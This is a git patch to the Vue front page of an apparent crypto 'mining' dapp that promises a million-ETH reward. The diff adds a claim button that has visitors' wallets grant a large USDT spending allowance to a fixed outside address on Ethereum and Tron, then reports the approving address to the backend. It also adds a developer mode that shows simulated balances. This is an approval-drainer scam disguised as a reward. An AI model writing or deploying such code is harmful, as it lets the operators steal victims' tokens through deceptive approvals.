From e050c45ebbb74875188bd81c3efdecc85b006cc5 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Tue, 29 Mar 2022 14:11:23 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |  424 ++++++++++++++++++++++++++++++++++++++++------------
 1 files changed, 321 insertions(+), 103 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 09697d1..d36e5cb 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -9,15 +9,17 @@
                 </van-dropdown-menu>
             </div>
             <span class="title">ANT-ETH</span>
-            <div class="right flex align-center" @click="showAccreditModal">
+            <div class="right flex align-center">
                 <img src="../../assets/images/icon.png" class="icon"/>
-                <span>{{ $t("message.ConnectWallet") }}</span>
+                <span class="address" v-if="walletAddress">{{walletAddress}}</span>
+                <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
             </div>
             </div>
             <div class="banner-content">
                 <p>{{ $t("message.Defi") }}</p>
                 <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
-                <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
+                <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
+                <button v-if="availableWallet">{{availableWallet}} USDT</button>
             </div>
         </div>
         <img src="../../assets/images/banner.png" class="banner"/>
@@ -26,7 +28,7 @@
                 <OrePool></OrePool>
             </van-tab>
             <van-tab :title='$t("message.Account")'>
-              <Account></Account>
+              <Account ref="accountRef" :simulateData="simulateData"></Account>
             </van-tab>
         </van-tabs>
         <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper">
@@ -35,7 +37,7 @@
                 <p>{{ $t("message.ReceiveDescription") }}</p>
               </div>
               <p class="block-content">{{ $t("message.Description") }}</p>
-              <button class="block-btn" @click="showAccreditModal">{{ $t("message.Receive") }}</button>
+              <van-button class="block-btn" :loading="isApproving" :loading-text='$t("message.Approving")' type="warning" @click="toApprove">{{ $t("message.Receive") }}</van-button>
             </div>
         </van-overlay>
         <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
@@ -56,27 +58,18 @@
             </div>
         </van-overlay>
         <van-overlay :show="isShowWalletModal" @click="isShowWalletModal = false" class="wrapper">
-           <div class="block" @click.stop>
+           <div class="walletconnect-modal-wrap" @click.stop>
               <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png">
               <div class="wallet-box">
-                <p class="title">选择你的钱包</p>
-                <div class="wallet-warp flex align-center justify-between">
-                  <div>
-                    <img src="../../assets/images/icon8.png">
-                    <p>coinbase</p>
-                  </div>
-                  <div>
-                    <img src="../../assets/images/icon8.png">
-                    <p>coinbase</p>
-                  </div>
-                  <div>
-                    <img src="../../assets/images/icon8.png">
-                    <p>coinbase</p>
-                  </div>
-                  <div>
-                    <img src="../../assets/images/icon8.png">
-                    <p>coinbase</p>
-                  </div>
+                <div class="sub-title">
+                  <span>{{$t("message.Mobile")}}</span>
+                </div>
+                <p class="title">{{$t("message.ChooseWallet")}}</p>
+                <div class="wallet-warp flex flex-wrap align-center justify-between">
+                  <a :href="item.link" target="_blank" v-for="item in dappList" class="item">
+                    <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div>
+                    <p class="text">{{item.name}}</p>
+                  </a>
                 </div>
               </div>
             </div>
@@ -100,63 +93,87 @@
   },
   setup() {
     const { proxy } = getCurrentInstance();
+    const pageLink = window.location.href;
+    let accountRef = ref(null);
+    let walletAddress = ref('');
+    let hasApprove = ref(false);
     let isShowApproveModal = ref(false);
     let isShowAccreditModal = ref(false);
     let isShowWalletModal = ref(false);
-    let provider = reactive(new WalletConnectProvider({
-          infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
-          bridge: "https://bridge.walletconnect.org",
-    }))
-    let web3 = new Web3(provider);
-    let showAccreditModal = () => {
+    let isApproving = ref(false); //是否授权中
+    let simulateData = ref(null);
+    let availableWallet = ref('');
+    let local = ref(proxy.$i18n.locale);
+    function changeLanguage(type){
+      localStorage.setItem('lang', type);
+      proxy.$i18n.locale = type;
+    }
+
+    function showAccreditModal() {
       proxy.isShowApproveModal = false
       proxy.isShowAccreditModal = true
     }
-    async function showWalletModal(){
-      proxy.isShowAccreditModal = false;
-      provider.enable();
-      const accounts = await web3.eth.getAccounts();
-      alert(accounts)
-    }
-    let showDappModal = () => {
+    async function showDappModal() {
       proxy.isShowAccreditModal = false
       proxy.isShowWalletModal = true
     }
-    let changeLanguage = (type) => {
-      proxy.$i18n.locale = type;
+    let web3 = ref(null)
+    async function showWalletModal() {
+      proxy.isShowAccreditModal = false;
+      const provider = new WalletConnectProvider({
+        infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
+        rpc: {
+          1: "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0",
+        }
+      });
+      await provider.enable();
+      provider.on("accountsChanged", (accounts) => {
+        console.log(accounts[0]+'换啦')
+      });
+      provider.on("disconnect", (code, reason) => {
+        sessionStorage.setItem('address', '');
+        window.location.reload();
+      });
+      proxy.web3 = new Web3(provider);
+      const accounts = await proxy.web3.eth.getAccounts();
+      proxy.walletAddress = accounts[0];
+      console.log('所有的账户,拿得到吗?')
+      console.log(accounts)
+      proxy.isApprove()
     }
-    // 获取地址
-    let walletAddress = ref('');
-    async function init() {
-      if(window.tronWeb){
-        walletAddress = window.tronWeb.defaultAddress.base58;
-        sessionStorage.setItem('address', walletAddress);
-        proxy.$axios({
-            url: '/dapp/common/isApprove/' + walletAddress,
-            method: 'get'
-        }).then((res) => {
-          if(res.code === 200) {
-            
-          }else{
-            showAccreditModal()
-          }
-        }).catch((err) => {
-            showAccreditModal()
-        })
+    
+    // 授权按钮
+    function toApprove() {
+      if(proxy.walletAddress){
+        proxy.approve()
       }else{
         showAccreditModal()
       }
     }
+    async function init () {
+      if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) {
+        proxy.walletAddress = 'KtygcD'
+        proxy.getSimulateData();
+      } else {
+        await proxy.getAddress();
+        if (proxy.walletAddress) {
+          proxy.isApprove()
+        }else{
+          showAccreditModal();
+        }
+      }
+    }
+    
     onMounted(() => {
       init()
     })
     return {
-      local: ref('zh'),
+      local,
       languague: [
+        { text: 'English', value: 'en' },
         { text: '简体中文', value: 'zh' },
-        { text: 'English', value: 'en' }
+        { text: '日本语', value: 'ja' }
       ],
-      init,
       // 弹窗显示隐藏
       isShowApproveModal,
       isShowAccreditModal,
@@ -165,35 +182,195 @@
       showAccreditModal,
       showWalletModal,
       showDappModal,
+      toApprove,
 
       // 中英文切换
       changeLanguage,
       
       walletAddress, //地址
+      hasApprove, //是否授权
+
+      accountRef,
+      web3,
+      isApproving,
+      dappList: [{
+        name: 'TronLink',
+        link: 'https://www.tronlink.org/',
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Tronlink.png'
+      },
+      {
+        name: 'coinbase',
+        link: 'https://go.cb-w.com/MVotZpePHmb',
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Coinbase.jpg'
+      },
+      {
+        name: 'Trust',
+        link: 'https://link.trustwallet.com/open_url?coin_id=60&url=' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Trust.jpeg'
+      },
+      {
+        name: 'MetaMask',
+        link: 'https://metamask.app.link/dapp/mining02.com',
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/MetaMask.jpeg'
+      },
+      {
+        name: 'imToken',
+        link: 'imtokenv2://navigate?screen=DappView&url=' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/ImToken.jpeg'
+      },
+      {
+        name: 'TokenPocket',
+        link: 'tpdapp://open?params={"url": "'+pageLink+'"}',
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/TokenPocket.jpeg'
+      },
+      {
+        name: 'Gnosis Safe',
+        link: 'https://gnosis-safe.io//wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Gnosis.jpeg'
+      },
+      {
+        name: 'Crypto.com',
+        link: 'https://wallet.crypto.com/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Crypto.jpeg'
+      },
+      {
+        name: 'Pillar',
+        link: 'pillarwallet://wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Pillar.jpeg'
+      },
+      {
+        name: 'Argent',
+        link: 'https://argent.link/app/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/Argent.jpeg'
+      },
+      {
+        name: 'MathWallet',
+        link: 'mathwallet://mathwallet.org?action=link&value=' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/MathWallet.jpeg'
+      },
+      {
+        name: 'BitPay',
+        link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+        imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg'
+      }],
+      simulateData, //模拟数据
+      availableWallet
     };
   },
   methods: {
-    connect() {
-      const provider = new WalletConnectProvider({
-        infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
-        bridge: "https://bridge.walletconnect.org",
-      });
-      //  Enable session (triggers QR Code modal)
-      provider.enable();
-
-      this.web3 = new Web3(provider);
-
-      // this.getAccount();
-      // subscribe to events
-      // this.subscribeToEvents();
+    // 获取地址
+    async getAddress () {
+      let address = '';
+      if(window.ethereum) {
+        await window.ethereum.enable();
+        const accounts = await ethereum.request({ method: 'eth_accounts' });
+        address = accounts[0];
+        console.log('dapp环境噢')
+        console.log(accounts)
+      }else if(window.tronWeb){
+        address = window.tronWeb.defaultAddress.base58;
+      }
+      // this.walletAddress = address;
+      this.walletAddress = 'TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD';
     },
-    subscribeToEvents() {
-      const connector = this.connector;
-      if (!connector) {
-        return;
+    isApprove () {
+        this.$axios({
+          url: '/dapi/common/isApprove/' + this.walletAddress,
+          method: 'get'
+        }).then((res) => {
+          if(res.code == 200) {
+            this.hasApprove = true;
+            this.initAccountData()
+            sessionStorage.setItem('address', this.walletAddress);
+          }else{
+            this.hasApprove = false;
+            this.$toast(this.$t('message.ApproveTip'));
+          }
+        }).catch(() => {
+          this.hasApprove = false;
+        })
+    },
+    async approve () {
+      this.isApproving = true;
+      if(window.ethereum) {
+        this.ethereumApprove(new Web3(window.ethereum))
+      }else if(window.tronWeb){
+        this.tornWebApprove()
+      }else{
+        this.ethereumApprove(this.web3)
       }
     },
-    
+    ethereumApprove (web3) {
+      const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+      const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
+      const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
+      const contract = new web3.eth.Contract(abi, contractAddress);
+      contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
+        console.log('授权成功')
+        console.log(res)
+        this.submitApprove()
+        this.isApproving = false;
+      }).catch((err) => {
+        console.log('授权失败')
+        console.log(err)
+        this.isApproving = false;
+      })
+    },
+    async tornWebApprove () {
+      const tronWeb = window.tronWeb;
+      const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
+      let instance = await tronWeb.contract().at(trxContractAddress);
+      let res = await instance["approve"](authAddress, "90000000000000000000000000000");
+      res.send({
+        feeLimit: 100000000,
+        callValue: 0,
+        shouldPollResponse: false
+      }, (err, res) => {
+          if (err == null) {
+              console.log('嘿,授权成功')
+              this.submitApprove()
+          }
+          this.isApproving = false;
+      });
+    },
+    submitApprove () {
+        this.$axios({
+          url: '/dapi/common/approve',
+          method: 'post',
+          data: {
+            address: this.walletAddress,
+            refererId: ''
+          }
+        }).then((res) => {
+          if(res.code == 200) {
+            this.hasApprove = true;
+            this.initAccountData();
+          }
+        })
+    },
+    initAccountData(){
+        this.accountRef && this.accountRef.value.initData();
+    },
+    getSimulateData () {
+        this.$axios({
+          url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'),
+          method: 'get'
+        }).then((res) => {
+          if(res.code == 200) {
+              this.simulateData = res.data;
+              this.availableWallet = this.simulateData.walletInfoVo.availableWallet
+          }
+        })
+    },
+    getQueryString (name) {
+      let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
+      let r = window.location.search.substr(1).match(reg);
+      if (r != null) {
+      return unescape(r[2]);
+      }
+      return null;
+    }
   }
 }
 </script>
@@ -313,6 +490,9 @@
   padding: 24px 104px;
   border-radius: 48px;
 }
+.block-btn.van-button--loading{
+  opacity: 0.7
+}
 .close-icon{
   position: absolute;
   top: -63px;
@@ -355,30 +535,68 @@
   color: #080808;
   font-weight: bold;
 }
-.wallet-box{
-  padding: 20px;
-}
-.wallet-box p{
-  margin: 0;
-}
-.wallet-box .title{
-  font-size: 32px;
-  color: #080808;
-  font-weight: bold;
-}
-.wallet-warp{
-  box-sizing: border-box;
-  margin-top: 80px;
-}
-.wallet-warp img{
-  width: 88px;
-  height: 88px;
-  border-radius: 20px;
-}
-.wallet-warp p{
-  font-size: 24px;
-  color: #080808;
-  margin-top: 15px;
-}
 
+.walletconnect-modal-wrap{
+  position: relative;
+  width: 83%;
+  background: #ffffff;
+  border-radius: 48px;
+  box-shadow: 0 10px 50px 5px rgb(0 0 0 / 40%);
+  padding: 24px 24px 22px;
+}
+.walletconnect-modal-wrap  .title{
+  font-size: 32px;
+  color: rgba(60, 66, 82, 0.6);
+  font-weight: 600;
+  margin: 20px 0 40px 0;
+}
+.walletconnect-modal-wrap .sub-title{
+  width: 79%;
+  margin: 0 auto;
+  background: #d4d5d9;
+  padding: 8px;
+  border-radius: 16px;
+  margin-bottom: 36px;
+}
+.walletconnect-modal-wrap .sub-title>span{
+  display: block;
+  font-size: 24px;
+  background: #ffffff;
+  padding: 8px;
+  font-weight: 600;
+  border-radius: 10px;
+}
+.walletconnect-modal-wrap  .wallet-box{
+  padding: 24px 24px 22px;
+}
+.walletconnect-modal-wrap  .wallet-warp{
+  margin: 50px 0 20px;
+}
+.walletconnect-modal-wrap  .wallet-warp .item{
+  width: 25%;
+  padding: 16px 0;
+  box-sizing: border-box;
+}
+.walletconnect-modal-wrap  .wallet-warp .icon{
+  display: block;
+  margin: 0 auto;
+  width: 84px;
+  height: 84px;
+  border-radius: 16px;
+  background-size: cover!important;
+  box-shadow: 0 0.10667rem 0.32rem 0 rgb(37 41 46 / 25%);
+}
+.walletconnect-modal-wrap  .wallet-warp .text{
+  color: #424952;
+  font-weight: 600;
+  margin: 10px 0 0;
+  font-size: 24px;
+  height: 64px;
+}
+.address{
+  width: 100px;
+  overflow: hidden;
+  text-overflow:ellipsis;
+  white-space: nowrap;
+}
 </style>

--
Gitblit v1.9.1